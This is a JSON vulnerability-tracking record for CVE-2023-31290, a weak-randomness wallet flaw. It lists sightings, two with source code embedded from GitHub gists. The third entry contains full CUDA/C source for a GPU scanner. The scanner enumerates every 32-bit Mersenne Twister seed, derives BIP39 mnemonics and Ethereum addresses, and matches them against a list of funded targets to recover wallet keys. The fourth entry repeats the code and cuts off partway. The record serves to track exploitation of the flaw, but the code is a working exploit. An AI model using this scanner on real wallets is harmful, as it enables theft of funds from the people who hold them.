{"vulnerability": "CVE-2023-31290", "sightings": [{"uuid": "a9082a2c-272f-4162-99bc-31c8f22de5ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "exploited", "source": "Telegram/JnH6PMCRXmemhB1HYnzKRTjCpyWUKfypC8rBmIVNn2RsVf8R", "content": "", "creation_timestamp": "2025-01-30T23:28:04.000000Z"}, {"uuid": "6d6b2bf6-19b5-47e9-8e2e-e6f532cc3862", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/82fa3706-d736-412c-8b0f-27cbb5929df7", "content": "", "creation_timestamp": "2026-06-19T12:46:55.914225Z"}, {"uuid": "9806af1a-12b7-4029-ad62-996a52588723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/39bdf8e7c7e62c1fca8b12fc511d87bd", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &amp;clen, &amp;pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &amp;l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &amp;ulen, &amp;pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic atomic_uint_fast64_t g_done, g_hits;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        atomic_fetch_add(&amp;g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      atomic_fetch_add(&amp;g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  atomic_fetch_add(&amp;g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = atomic_load(&amp;g_done);\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, atomic_load(&amp;g_hits), eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", atomic_load(&amp;g_hits));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-03T23:53:35.494454Z"}, {"uuid": "64127b28-dd23-48ba-83a3-25cb60a19fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/6a1f1230ac888b81f0804c0ff27cf1db", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 